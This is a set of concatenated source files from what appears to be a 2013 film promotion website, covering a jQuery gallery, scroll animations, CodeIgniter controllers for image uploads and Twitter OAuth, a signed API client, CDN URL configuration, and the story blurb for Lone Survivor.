<link rel="shortcut icon" href="img/touch/apple-touch-icon.png">
<!-- Tile icon for Win8 (144x144 + tile color) -->
<meta name="msapplication-TileImage" content="img/touch/apple-touch-icon-144x144-precomposed.png">
<meta name="msapplication-TileColor" content="#222222">
<link rel="stylesheet" href="assets/css/normalize.min.css">
<link rel="stylesheet" href="assets/css/mobile.css">
<script src="assets/js/libs/jquery-1.10.1.min.js"></script>
<script src="assets/js/libs/jquery.queryloader2.js"></script>
</head>
<body >
<!--[if lt IE 7]>
<p class="chromeframe">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> or <a href="http://www.google.com/chromeframe/?redirect=true">activate Google Chrome Frame</a> to improve your experience.</p>
<![endif]-->
<file_sep>function galleryThumbPrev() {
window.galleryThumbPageIndex--;
if (window.galleryThumbPageIndex < 0) {
window.galleryThumbPageIndex = window.galleryThumbPages - 1;
}
gotoThumbPage(window.galleryThumbPageIndex);
console.log("thumbPage", window.galleryThumbPageIndex);
}
function galleryThumbNext() {
window.galleryThumbPageIndex++;
if (window.galleryThumbPageIndex >= window.galleryThumbPages) {
window.galleryThumbPageIndex = 0;
}
gotoThumbPage();
console.log("thumbPage", window.galleryThumbPageIndex);
}
function gotoThumbPage() {
var setMarginLeftTo = "-" + (window.galleryThumbPageIndex * 978) + "px";
TweenLite.to($(".gallery .thumb-pages"), 1, {marginLeft: setMarginLeftTo, ease:Power2.easeOut});
}
function synchThumbsToPhotos() {
window.galleryThumbPageIndex = Math.floor((window.galleryIndex) / window.thumbsPerPage);
gotoThumbPage();
}
function galleryPrev() {
gotoPhoto(window.galleryIndex - 1);
}
function galleryNext() {
gotoPhoto(window.galleryIndex + 1);
}
function gotoPhoto(index) {
$( $(".gallery img.photo")[window.galleryIndex] ).toggleClass('transparent');
$(".thumb-holder.p" + window.galleryIndex).removeClass('selected');
window.galleryIndex = index;
if (window.galleryIndex >= window.galleryLength) {
window.galleryIndex = 0;
} else if (window.galleryIndex < 0) {
window.galleryIndex = window.galleryLength - 1;
}
$( $(".gallery img.photo")[window.galleryIndex] ).toggleClass('transparent');
$(".thumb-holder.p" + window.galleryIndex).addClass('selected');
synchThumbsToPhotos();
console.log("index", window.galleryIndex);
}
function initGallery() {
window.galleryIndex = 0;
window.galleryLength = $(".gallery img.photo").length;
$("#nav_gallery").on("click",function(e){
$(".ui-fixed").fadeToggle();
$(".main-container").fadeToggle();
$( $(".gallery img.photo")[window.galleryIndex] ).toggleClass('transparent');
$(".gallery").fadeToggle();
});
$(".gallery .close").on("click",function(e){
$(".ui-fixed").fadeToggle();
$(".main-container").fadeToggle();
$( $(".gallery img.photo")[window.galleryIndex] ).toggleClass('transparent');
$(".gallery").fadeToggle();
});
$(".gallery .arrow.left").on("click",function(e){
galleryPrev();
});
$(".gallery .arrow.right").on("click",function(e){
galleryNext();
});
var thumbsInCurrentPage = 0;
var thumbPageStart = "<span class='thumb-page'>";
var thumbPageEnd = "</span>";
var thumbContent = "";
window.thumbsPerPage = 4;
window.galleryThumbPages = 0;
window.galleryThumbPageIndex = 0;
$.each($(".gallery img.photo"), function(index, val) {
if (thumbsInCurrentPage == 0) {
thumbContent += thumbPageStart;
}
$(val)[0].id = "p" + index;
var thumbSrc = $(val)[0].src.replace("/photos/", "/thumbs/");
thumbContent += '<span class="thumb-holder p' + index + '"><img class="thumb p'+ index +'" data-index="' + index + '" src="'+ thumbSrc +'" /></span>';
thumbsInCurrentPage++;
if (thumbsInCurrentPage == window.thumbsPerPage || index == (window.galleryLength - 1)) {
thumbsInCurrentPage = 0;
thumbContent += thumbPageEnd;
window.galleryThumbPages++;
}
});
$(".gallery .thumb-pages").append(thumbContent);
$(".thumb-holder.p" + window.galleryIndex).addClass('selected');
$(".gallery .thumbarrow_box.left").on("click",function(e){
galleryThumbPrev();
});
$(".gallery .thumbarrow_box.right").on("click",function(e){
galleryThumbNext();
});
$(".gallery .thumb").on("click",function(e){
gotoPhoto($(this).data('index'));
});
}
<file_sep><?php if ( ! defined( 'BASEPATH' ) ) exit( 'No direct script access allowed' );
// Configuration of features that could be required for a site
$features=array();
//Oauth
$feature=array();
$feature["title"]="Oauth Library";
$feature["reflink"]="http://php.net/manual/en/book.oauth.php";
$features["oauth"]=$feature;
//Oauth
$feature=array();
$feature["title"]="PHP CURL Library";
$feature["reflink"]="http://php.net/manual/en/book.curl.php";
$features["curl"]=$feature;
$config['features']=$features;
<file_sep>function initHome() {
//if (!window.isiPad) {
// reset the scroll position so that the indicator and scroll position start in synch
$(document).scrollTop(0);
// scroll indicator events
window.scrollDest = [0, 1120, 3130, 5120, 7115, 8986];
window.scrollTest = [0, 680, 2670, 4680, 6700, 8720];
window.clickToScrollOn = false;
$("tr.indicator_box").on("click",function(e){
clickScrollIndicator($(this).data('index'));
});
$( window ).resize(function() {
resizeWindow();
});
/*$( window ).scroll(function() {
scrollWindow();
});*/
initHomeVideo();
$(".job .icon").on("click",function(e){
var iconHeight = $(this).height();
var jobContainer = $(this).parents(".job");
var newHeight = (jobContainer.height() == iconHeight ? 260 : iconHeight);
if (window.isiPad) {
jobContainer.height(newHeight);
} else {
TweenMax.to(jobContainer, 1, {height: newHeight});
}
});
TweenMax.to($(".job .icon"), 1, {opacity: .5, repeat: -1, yoyo:true});
window.scroller=skrollr.init({
forceHeight: false,
smoothScrolling:false,
mobileDeceleration:0.1,
render: skrollrRender
});
//} else {
/*$('.job-content').removeClass("hide");
$(".indicator").remove();
$("video").on("touchstart",function(e){
alert("touched video");
setVideoBgUrl();
//TweenMax.to($("video.video-bg"), 1, {opacity: '1'});
videobg.play();
});*/
//}
}
function skrollrRender(data) {
// stop video if its off screen
if (data.curTop > 1000) {
$("video.video-bg")[0].pause();
} else {
$("video.video-bg")[0].play();
}
// set indicator when manually scrolling
if (window.clickToScrollOn) return;
var curSectionIndex = 0;
var destSectionIndex = 0;
$.each(window.scrollTest, function( index, value ) {
if (data.curTop <= value) {
curSectionIndex = index;
} else if (data.curTop > value) {
destSectionIndex = index;
}
});
if (curSectionIndex != destSectionIndex) {
var duration = Math.abs((destSectionIndex - curSectionIndex) * .1);
TweenLite.to($( ".white_box" ), duration, {top:50*destSectionIndex + "px"});
}
}
function initHomeVideo() {
var videobg = $("video.video-bg");
var videoDuration = videobg.prop('duration');
var updateProgressBar = function(){
if (videobg.prop('readyState')) {
var buffered = videobg.prop("buffered").end(0);
var percent = 100 * buffered / videoDuration;
//Your code here
console.log("video completion", percent);
//If finished buffering buffering quit calling it
if (buffered >= videoDuration) {
clearInterval(watchBuffer);
TweenMax.to(videobg, 1, {opacity: '1'});
$("video.video-bg")[0].play();
}
}
};
var watchBuffer = setInterval(updateProgressBar, 500);
}
function scrollWindow() {
var curScroll = $(window).scrollTop();
if (location.host.indexOf(".local") != -1 || location.host.indexOf("192.168") != -1) {
$('#status').html( curScroll );
}
if (curScroll > 1000) {
$("video.video-bg")[0].pause();
} else {
$("video.video-bg")[0].play();
}
if (window.clickToScrollOn) return;
var curSectionIndex = 0;
var destSectionIndex = 0;
$.each(window.scrollTest, function( index, value ) {
if (curScroll <= value) {
curSectionIndex = index;
} else if (curScroll > value) {
destSectionIndex = index;
}
});
if (curSectionIndex != destSectionIndex) {
var duration = Math.abs((destSectionIndex - curSectionIndex) * .1);
TweenLite.to($( ".white_box" ), duration, {top:50*destSectionIndex + "px"});
}
}
function resizeWindow() {
/*var curWidth = $( window ).width();
if (curWidth < 1680) {
// video height isn't touching the content below
$("video.video-bg")[0].css('height', $("div.marcus.section").position().top);
} else if (curWidth < 1024) {
// force video to tay at 978px wide as a minimum
}*/
}
function clickScrollIndicator(index) {
console.log("clicked box",index);
var targetScroll = window.scrollDest[index];
var curScroll = window.scroller.getScrollTop();
var scrollDiff = targetScroll - curScroll;
var duration = Math.abs(scrollDiff / 1000);
window.clickToScrollOn = true;
//alert(curScroll + ", " + targetScroll + ", " + duration);
TweenLite.to($( ".white_box" ), duration, {top:50*index + "px"});
window.scroller.stopAnimateTo();
window.scroller.animateTo(targetScroll,{duration:duration*1000,easing:"swing",done:function() {window.clickToScrollOn=false;}});
//TweenLite.to(window, duration, {scrollTo:{y:targetScroll}, onComplete:function() {window.clickToScrollOn=false;}});
}
function setVideoBgUrl() {
var videobg = $("video.video-bg");
videobg.attr("src", "assets/video/ls_BG_V3_1600kbps.mp4");
// support chrome and firefox by changing src to ogv in js instead of nested source tags
if (!videobg[0].canPlayType('video/mp4; codecs="avc1.42E01E, mp4a.40.2"')) {
$(videobg[0]).attr("src", $(videobg[0]).attr("src").replace(".mp4", ".ogv"));
}
}
// I'm setting window.isiPad here again because at one point i was worried that this file was
// getting loaded before main.js.. need to figure out how to use weights
window.isiPad = navigator.userAgent.match(/iPad/i) != null;
//if (!window.isiPad) {
setVideoBgUrl();
//}<file_sep>(function( $ ) {
$(window).bind( 'orientationchange', function(e){
if ($.event.special.orientationchange.orientation() == "portrait") {
$('html, body').scrollTop(0);
} else {
$('html, body').scrollTop(200);
}
});
//Code that needs to run only when DOM and scripts are loaded.
$(document).ready(function () {
$("#main-home #content").css("opacity",0);
//Start the loader and let it read all the images
$("body").queryLoader2({barHeight: 2,onComplete:function(){
}});
});
window.showHome=function(){
$("#main-login").css("opacity",0);
TweenLite.to($("#main-register"), 0.5, {opacity:0});
TweenLite.to($("#main-login"), 0.5, {opacity:0,
onComplete:function(){
$("body").removeClass("guest");
$("body").removeClass("capitol");
TweenLite.to($("#main-home #content"), 0.5, {opacity:1});
}
});
}
}( jQuery ));
<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/* Copyright 2013 Hammer Technology Services, Inc. */
function minjs($jsarr) {
minfiles("js", $jsarr);
}
function mincss($cssarr) {
minfiles("css", $cssarr);
}
function minfiles($type, $filesarr) {
$count = 0;
// read config parameters
$CI =& get_instance();
$base = ($type == "js") ? $CI->config->item("minify_js_base_folder") : $CI->config->item("minify_css_base_folder");
$minify = ($type == "js") ? $CI->config->item("minify_js") : $CI->config->item("minify_css");
$combine = ($type == "js") ? $CI->config->item("combine_js") : $CI->config->item("combine_css");
if (!$minify) $combine = false;
// clean files (so far, this means removing non-existant files from list)
$clean = array();
foreach ($filesarr as $onefile) {
$onefile = $base."/{$onefile}";
if (checkFileExists($onefile) || !($minify)) {
$clean[] = $onefile;
}
}
// combine or not?
$chunk_size = ($combine) ? 5 : 1;
$chunks = array_chunk($clean, $chunk_size);
// and now, minify
foreach ($chunks as $chunk) {
$chunkstring = implode(",", $chunk);
if ($minify) {
$chunkstring = "min/f={$chunkstring}";
} else {
$chunkstring = "{$chunkstring}";
}
if ($type == "js") {
echo "<script type=\"text/javascript\" src=\"{$chunkstring}\"></script>";
} else {
echo "<link rel=\"stylesheet\" type=\"text/css\" href=\"{$chunkstring}\" media=\"screen\" />";
}
}
}
function checkFileExists($f) {
$p = FCPATH;
$path = "{$p}{$f}";
return is_file($path);
}
<file_sep><?php if ( ! defined( 'BASEPATH' ) ) exit( 'No direct script access allowed' );
/* Copyright 2013 Hammer Technology Services, Inc. */
class Upload extends CI_Controller {
function __construct() {
parent::__construct();
$this->load->helper( array( 'form', 'url' ) );
}
function index( $animate ) {
$path = $this->config->item( 'images_path' );
$config[ 'upload_path' ] = '.' . $path;
$config[ 'allowed_types' ] = $this->config->item( 'images_file_types' );
$config[ 'max_size' ] = $this->config->item( 'images_max_size' );
$config[ 'max_width' ] = $this->config->item( 'images_max_width' );
$config[ 'max_height' ] = $this->config->item( 'images_max_height' );
$this->load->library( 'upload', $config );
if ( ! $this->upload->do_upload() ) {
$error = array( 'error' => $this->upload->display_errors() );
echo json_encode( $error );
} else {
$data = $this->upload->data();
if ( $animate == "animate" ) {
$meme = $this->createMeme( $data[ 'file_path' ], $data[ 'raw_name' ], $data[ 'file_ext' ] );
$frame1 = $this->createFrame( $data[ 'file_path' ], $meme, 'ball1.png' );
$frame2 = $this->createFrame( $data[ 'file_path' ], $meme, 'ball2.png' );
$frame3 = $this->createFrame( $data[ 'file_path' ], $meme, 'ball3.png' );
$frame4 = $this->createFrame( $data[ 'file_path' ], $meme, 'ball4.png' );
$animation = $this->animate( $data[ 'file_path' ], array( $frame1, $frame2, $frame3, $frame4 ) );
echo json_encode( array( 'data' => $path . $animation ) );
} else {
$data[ 'file_path' ] = $path;
$data[ 'full_path' ] = '';
echo json_encode( array( 'data' => $data ) );
}
}
}
function grab( $url ) {
$path = $this->config->item( 'images_path' );
$key = md5( microtime() ) . rand( 1111, 9999 );
$path = "." . $path . $key;
echo $url . "\n";
$ch = curl_init( $url );
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_BINARYTRANSFER, 1 );
$raw = curl_exec( $ch );
curl_close( $ch );
$fp = fopen( $path, 'x' );
fwrite( $fp, $raw );
fclose( $fp );
$finfo = finfo_open( FILEINFO_MIME_TYPE );
echo $path . "\n";
echo finfo_file( $finfo, $path );
finfo_close( $finfo );
}
private function animate( $file_path, $frames ) {
$animation = new Gmagick( $file_path . $frames[ 0 ] );
$f1 = new Gmagick( $file_path . $frames[ 1 ] );
$f2 = new Gmagick( $file_path . $frames[ 2 ] );
$f3 = new Gmagick( $file_path . $frames[ 3 ] );
$f2->nextimage();
$f2->addimage( $f3 );
$f2->previousimage();
$f1->nextimage();
$f1->addimage( $f2 );
$f1->previousimage();
$animation->nextimage();
$animation->addimage( $f1 );
$animation->previousimage();
$animation->setimageformat( "gif" );
$key = md5( microtime() ) . rand( 1111, 9999 );
$animation->write( $file_path . $key . '.t.gif' );
return $key . '.t.gif';
}
private function createFrame( $file_path, $file_name, $frame_name ) {
$source = new Gmagick( $file_path . $frame_name );
$canvas = new Gmagick( $file_path . $file_name );
$canvas->compositeimage( $source, 1, 0, 0 );
$key = md5( microtime() ) . rand( 1111, 9999 );
$canvas->write( $file_path . $key . '.t.jpg' );
return $key . '.t.jpg';
}
private function createMeme( $file_path, $raw_name, $file_ext ) {
$w = $this->config->item( 'images_width' );
$h = $this->config->item( 'images_height' );
$source = new Gmagick( $file_path . $raw_name . $file_ext );
$source->scaleimage( $w, $h, true );
$canvas = new Gmagick();
$canvas->newimage( $w, $h, '#000' );
$sourceh = $source->getimageheight();
$sourcew = $source->getimagewidth();
$x = ( $w - $sourcew ) / 2;
$y = ( $h - $sourceh ) / 2;
$canvas->compositeimage( $source, 1, $x, $y );
$key = md5( microtime() ) . rand( 1111, 9999 );
$canvas->write( $file_path . $key . '.t.jpg' );
return $key . '.t.jpg';
}
}
<file_sep><?php
$CI =& get_instance();
$CI->_add_css("css/main.css","head");
$CI->_add_css("css/video_playlist.css","head");
$CI->_add_css("css/story.css","head");
$CI->_add_css("css/gallery.css","head");
$CI->_add_js("js/main.js","footer");
$CI->_add_js("js/gallery.js","footer");
$CI->_add_js("js/social.js","footer");
?>
<div class="main-container hide">
<div id="story">
<span class="title1 blocktext">THE STORY</span>
<div class="content-wrapper">
<div class="content blocktext">
<p>Based on The New York Times bestselling true story of heroism, courage and survival, <b>LONE SURVIVOR</b> tells the incredible tale of four Navy SEALs on a covert mission to neutralize a high-level al-Qaeda operative who are ambushed by the enemy in the mountains of Afghanistan. Faced with an impossible moral decision, the small band is isolated from help and surrounded by a much larger force of Taliban ready for war. As they confront unthinkable odds together, the four men find reserves of strength and resilience as they stay in the fight to the finish.</p>
<p><NAME> stars as <NAME>, the author of the first-person memoir <i>Lone Survivor</i>, whose book has become a motivational resource for its lessons on how the power of the human spirit is tested when we are pushed beyond our mental and physical limits. Starring alongside Wahlberg as the other members of the SEAL team are <NAME>, <NAME> and <NAME>.</p>
<p><b>LONE SURVIVOR</b> is written and directed by <NAME>, who again crafts a striking portrait of the unbreakable bonds between men that he first explored in Friday Night Lights.</p>
</div>
</div>
</div>
</div>
<file_sep><?php if ( !defined( 'BASEPATH' ) ) exit( 'No direct script access allowed' );
/* Copyright 2013 Hammer Technology Services, Inc. */
class Redapi {
public function getID() {
$CI =& get_instance();
$CI->load->library( 'session' );
return $CI->session->userdata( 'citizen_id' );
}
public function getNetwork() {
$CI =& get_instance();
$CI->load->library( 'session' );
return $CI->session->userdata( 'network' );
}
public function saveID( $red_response ) {
$CI =& get_instance();
$CI->load->library( 'session' );
if ( isset( $red_response->citizen_id ) ) {
$CI->session->set_userdata( 'citizen_id', $red_response->citizen_id );
}
if ( isset( $red_response->social_ids )){
$social_id=$red_response->social_ids[0];
$parts=explode(":", $social_id);
$network=$parts[0];
$CI->session->set_userdata( 'network', $network );
}
}
public function service_call( $service, $data = array(), $files = array() ) {
// read vars from config
$CI =& get_instance();
$entrypoint = $CI->config->item( 'red_entrypoint' );
$identity = $CI->config->item( 'red_identity' );
$secretkey = $CI->config->item( 'red_secretkey' );
$boundary = md5( uniqid( 'multipart' ) . microtime() );
if ( $service == "user/register/" && count( $files ) == 1 ) {
$body = $this->encode_body( $data, $files[ 0 ], $boundary );
} else {
$body = $this->encode_body( $data, '', $boundary );
}
$token = $this->build_token( $identity, $secretkey, $body );
$url = "{$entrypoint}/{$service}";
// make URL request and store response
$ch = curl_init( $url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_HTTPHEADER, array(
"Authorization: {$token}",
"Content-Type: multipart/form-data; boundary={$boundary}"
) );
// if we have a body, let's use POST instead of GET
if ( strlen( $body ) > 0 ) {
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, $body );
}
// and now let's go for it
$result = curl_exec( $ch );
$info = curl_getinfo( $ch );
curl_close( $ch );
return json_decode( $result );
}
private function encode_body( $params, $filepath, $boundary ) {
$body = '';
if ( count( $params ) > 0 ) {
foreach ( $params as $name => $value ) {
$body .= '--' . $boundary . "\r\n";
$body .= 'Content-Disposition: form-data; name="' . $name . '"';
$body .= "\r\n\r\n";
$body .= urldecode( $value );
$body .= "\r\n";
}
}
if ( strlen( $filepath ) > 0 ) {
$data = file_get_contents( $filepath );
if ( $data !== false ) {
$mime = 'application/octet-stream';
$body .= '--' . $boundary . "\r\n";
$body .= 'Content-Disposition: form-data; name="pic"; filename="uploaded"'."\r\n";
$body .= 'Content-Type: ' . $mime;
$body .= "\r\n\r\n";
$body .= $data;
$body .= "\r\n";
}
}
if ( count( $params ) > 0 || strlen( $filepath ) > 0 ) {
$body .= '--' . $boundary . "--\r\n";
}
return $body;
}
private function build_token( $identity, $secretkey, $body ) {
// get a standard unix time stamp
$dt = time();
// create the data string to encode
$data = "{$identity}.{$dt}";
$sign_data = $data;
if ( strlen( $body ) > 0 ) {
$body = trim( $body );
$sign_data = "{$data}.{$body}";
}
// get a random 10 digit number for the salt
$digits = 10;
$salt = mt_rand( pow( 10, $digits - 1 ), pow( 10, $digits ) - 1 );
// create the key by concatenating salt with secret api key
$key = $salt . $secretkey;
// create a sha256 signature using the salt again and the secret API key and the data string
$sig = $salt . hash_hmac( 'sha256', $sign_data, $key, true );
// compose the token string, which is the value of the HTTP Authorization header
$token = "CLRAUTH {$identity} " . $this->base64_url_encode( $sig ) . " " . $this->base64_url_encode( $data );
return $token;
}
private function base64_url_encode( $input ) {
return strtr( base64_encode( $input ), '+/', '-_' );
}
function base64_url_decode( $input ) {
return base64_decode( strtr( $input, '-_', '+/' ) );
}
}
<file_sep><?php
$CI =& get_instance();
$CI->_add_css("css/loader.css","head");
?>
<div class="loader-container preloader">
<div class="loader">
<span></span>
</div>
</div>
<file_sep><!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
window.device_type = "<?php echo $device_type ?>";
if(window.device_type == "mobile") {
self.location="<?php echo $mobile_redirect_url ?>";
} else {
self.location="<?php echo $desktop_url ?>";
}
if( /iPhone|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) {
window.location.href = "<?php echo $mobile_redirect_url ?>";
}
</script>
</head>
<body>
</body>
</html><file_sep>$( function() {
window.capitol_upload = {
init: function() {
var me = this;
$( "#file-input" ).change( function( e ) {
me.getOrientation( e, function( o ) {
me.imgLoad( e, o, function( img ) {
me.imgDraw( img );
} );
$( this ).val( '' ); // just in case the user uploads the same file twice
} );
} );
},
getOrientation: function( e, cbk ) {
var me = this;
var reader = new FileReader();
reader.onload = function( event ) {
var base64 = event.target.result.replace( /^.*?,/, '' );
var binary = atob( base64 );
var exif = EXIF.readFromBinaryFile( new BinaryFile( binary ) );
cbk( exif.Orientation )
}
var reader_file = e.target.files[ 0 ];
reader.readAsDataURL( reader_file );
},
imgLoad: function( e, orientation, cbk ) {
var me = this;
var W = $( "#upload-canvas" ).width();
var H = $( "#upload-canvas" ).height();
loadImage(
e.target.files[ 0 ],
function ( img ) {
cbk( img );
}, {
maxWidth: W,
maxHeight: H,
canvas: true,
orientation: orientation
}
);
},
imgDraw: function( img, cbk ) {
var me = this;
var W = $( "#upload-canvas" ).width();
var H = $( "#upload-canvas" ).height();
var canvas = document.getElementById( 'upload-canvas' );
var ctx = canvas.getContext( '2d' );
ctx.fillStyle = "#000";
ctx.fillRect( 0, 0, W, H );
var width = img.width;
var height = img.height;
var scalew = W / width;
var scaleh = H / height;
var scale = ( scalew < scaleh ) ? scalew : scaleh;
width = width * scale;
height = height * scale;
var xpos = ( width >= W ) ? 0 : ( W - width ) / 2;
var ypos = ( height >= H ) ? 0 : ( H - height ) / 2;
$( "#upload-canvas" ).drawImage( {
source: img,
x: xpos,
y: ypos,
width: width,
height: height,
fromCenter: false,
load: function() {
if ( typeof cbk == "function" ) cbk();
}
} );
},
imgUpload: function( cbk ) {
var me = this;
var post_data = {
provider: window.capitol_oauth.user_data.provider,
user_id: window.capitol_oauth.user_data.user_id,
base64url: $( "#upload-canvas" ).getCanvasImage( "jpeg", 0.9 )
}
$.ajax( {
type: "POST",
dataType: 'json',
url: '/api/red/image',
data: post_data
} ).done( function( data ) {
if ( data.status ) {
if ( typeof cbk == "function" ) cbk( data );
}
} );
}
};
window.capitol_upload.init();
} );
<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
function _curPageURL() {
$pageURL = 'http';
//if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}
return $pageURL;
}
function _stripParameters($url) {
$paramIndex = strpos( $url ,'?');
if($paramIndex !== false){
return substr($url, 0, $paramIndex);
}else{
return $url;
}
}
function getUrl() {
$current_url = _stripParameters(_curPageURL());
$cdn = "";
$debugging = false;
$countrycode = "net";
if (strpos($current_url, "stage.sonypictures.net")){
$cdn = "http://stage.sonypictures.com/origin-flash/intl/global/movies/onedirection/site/";
$debugging = false;
}elseif (strpos($current_url, "www.sonypictures.net")){
//https://secure.sonypictures.com:443/movies/onedirection/facebook/tab/
$cdn = "http://flash.sonypictures.com/intl/global/movies/onedirection/site/";
$debugging = false;
}elseif (strpos($current_url, "www.1dthisisus-movie.net")){
//https://secure.sonypictures.com:443/movies/onedirection/facebook/tab/
$cdn = "http://flash.sonypictures.com/intl/global/movies/onedirection/site/";
$debugging = false;
}elseif (strpos($current_url, "dev.triggerglobal.com")){
//http://dev.triggerglobal.com/sony/1d/fb_tab/1_0/
$cdn = "http://cdn-dev.triggerglobal.com/sony/1d/site/international_1_0/";
}elseif (strpos($current_url, "qa.triggerglobal.com")){
//http://qa.triggerglobal.com/sony/1d/fb_tab/1_0/
$cdn = "http://cdn-dev.triggerglobal.com/sony/1d/site/international_1_0/";
$debugging = true;
}elseif (strpos($current_url, "stage.triggerglobal.com")){
//http://stage.triggerglobal.com/sony/1d/fb_tab/1_0/
$cdn = "http://cdn-dev.triggerglobal.com/sony/1d/site/international_1_0/";
$debugging = false;
}elseif (strpos($current_url, "localhost:8888") >= 0){
//http://localhost:8888/1d_fb_tab/"
$cdn = "http://localhost:8888/1d_site_cdn/";
$debugging = true;
}else {
//http://localhost:8888/1d_fb_tab/"
$cdn = "http://flash.sonypictures.com/movies/onedirection/site/";
$debugging = false;
}
$isInternational = false;
return array(
'current_url' => $current_url,
'countrycode' => $countrycode,
'cdn' => $cdn,
'debugging' => $debugging,
'isInternational' => $isInternational
);
}<file_sep><?php if ( !defined( 'BASEPATH' ) ) exit( 'No direct script access allowed' );
class Features {
public function checkByName($name){
switch ($name) {
case 'oauth':
return $this->checkOauth();
break;
case 'curl':
return $this->checkCurl();
break;
default:
return false;
break;
}
}
public function checkOAuth() {
return false;
return function_exists('curl_version');
}
public function checkCurl() {
return function_exists('curl_version');
}
}
<file_sep><?php if ( ! defined( 'BASEPATH' ) ) exit( 'No direct script access allowed' );
/* Copyright 2013 Hammer Technology Services, Inc. */
class Twitter extends CI_Controller {
public function index( $clear = 0 ) {
header("Expires: 0");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");
$this->load->library( 'session' );
if ( $clear == 1 ) $this->session->set_userdata( 'state', 0 );
$req_url = 'https://api.twitter.com/oauth/request_token';
$auth_url = 'https://api.twitter.com/oauth/authorize';
$acc_url = 'https://api.twitter.com/oauth/access_token';
$api_url = 'https://api.twitter.com/1.1/account';
$consumer_key = $this->config->item( 'tw_consumer_key' );
$consumer_secret = $this->config->item( 'tw_consumer_secret' );
if ( !$this->input->get( 'oauth_token' ) && $this->session->userdata( 'state' ) == 1 ) {
$this->session->set_userdata( 'state', 0 );
}
try {
$oauth = new OAuth( $consumer_key, $consumer_secret, OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_URI );
//$oauth->disableSSLChecks();
$oauth->enableDebug();
if ( !$this->input->get( 'oauth_token' ) && !$this->session->userdata( 'state' ) ) {
$request_token_info = $oauth->getRequestToken( $req_url );
$this->session->set_userdata( 'secret', $request_token_info[ 'oauth_token_secret' ] );
$this->session->set_userdata( 'state', 1 );
header( 'Location: ' . $auth_url . '?oauth_token=' . $request_token_info[ 'oauth_token' ] );
exit;
} else if ( $this->session->userdata( 'state' ) == 1 ) {
$oauth->setToken( $this->input->get( 'oauth_token' ), $this->session->userdata( 'secret' ) );
$access_token_info = $oauth->getAccessToken( $acc_url );
$this->session->set_userdata( 'state', 2 );
$this->session->set_userdata( 'token', $access_token_info[ 'oauth_token' ] );
$this->session->set_userdata( 'secret', $access_token_info[ 'oauth_token_secret' ] );
}
$oauth->setToken( $this->session->userdata( 'token' ), $this->session->userdata( 'secret' ) );
$oauth->fetch( "{$api_url}/verify_credentials.json" );
$tw_data = json_decode( $oauth->getLastResponse() );
if ( isset( $tw_data->id_str ) ) {
$data[ 'provider' ] = "twitter";
$data[ 'user_id' ] = $tw_data->id_str;
$data[ 'user_name' ] = isset( $tw_data->screen_name ) ? $tw_data->screen_name : '';
$this->session->set_userdata( 'oauth_profile_data', $data );
$this->load->view( 'tw', $data );
}
} catch( OAuthException $E ) {
print_r( $E );
}
}
public function post_feed() {
header("Expires: 0");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");
$this->load->library( 'session' );
$this->load->library( 'input' );
$message= $this->input->post('message');
$req_url = 'https://api.twitter.com/oauth/request_token';
$auth_url = 'https://api.twitter.com/oauth/authorize';
$acc_url = 'https://api.twitter.com/oauth/access_token';
$api_url = 'https://api.twitter.com/1.1/statuses/update.json';
$consumer_key = $this->config->item( 'tw_consumer_key' );
$consumer_secret = $this->config->item( 'tw_consumer_secret' );
if ( !$this->session->userdata( 'token' ) ) {
$ret=array();
$ret["result"]=false;
$ret["msg"]="Not authenticated";
echo json_encode($ret);
}
else{
try {
$params=array();
$params["status"]=$message;
$oauth = new OAuth( $consumer_key, $consumer_secret, OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_URI );
$oauth->setToken( $this->session->userdata( 'token' ), $this->session->userdata( 'secret' ) );
$oauth->setAuthType(OAUTH_AUTH_TYPE_FORM);
$oauth->fetch( $api_url,$params, OAUTH_HTTP_METHOD_POST );
$tw_data = json_decode( $oauth->getLastResponse() );
$ret=array();
$ret["result"]=true;
$ret["msg"]=$tw_data;
echo json_encode($ret);
} catch( OAuthException $e ) {
$ret=array();
$ret["result"]=false;
$ret["msg"]=$e->getMessage();
echo json_encode($ret);
}
}
}
}
<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/* Copyright 2013 Hammer Technology Services, Inc. */
class Mobile extends CI_Controller {
public function index() {
$ua=getBrowser();
$urlinfo=getUrl();
$releaseDateInfo=getReleaseDateInfo($urlinfo);
$data["ua"] = $ua;
$data["title"] = $this->config->item( 'title' );
$data["desc"] = $this->config->item( 'desc' );
$data["url"] = $this->config->item( 'url' );
$data["image"] = $this->config->item( 'image' );
$data["facebook_url"] = $this->config->item( 'facebook_url' );
$data["keywords"] = $this->config->item( 'keywords' );
$data["og_title"] = $this->config->item( 'og_title' );
$data["ga_account"] = $this->config->item( 'ga_account' );
$this->load->view('mobile_head',$data);
$this->load->view('mobile',$data);
$this->load->view('mobile_foot',$data);
}
public function info(){
$this->load->view('info');
}
}
<file_sep>/* Copyright 2013 Hammer Technology Services, Inc. */
var devices=Array();
devices["android 3"]="tablet";
devices["iphone"]="phone";
devices["android"]="phone";
devices["ipad"]="tablet";
devices["other"]="phone";
var parm='';
$(document).ready(function(){
reviewScreen();
});
//check screen orientation
window.onorientationchange = function() {
reviewScreen();
}
function getScreen() {
var orientation = window.orientation;
if (typeof orientation == "undefined") return 1;
var uagent = navigator.userAgent.toLowerCase();
if (uagent.search("android") > -1) {
switch (orientation) {
case 90:
case -90:
return 1;//wide
break ;
default :
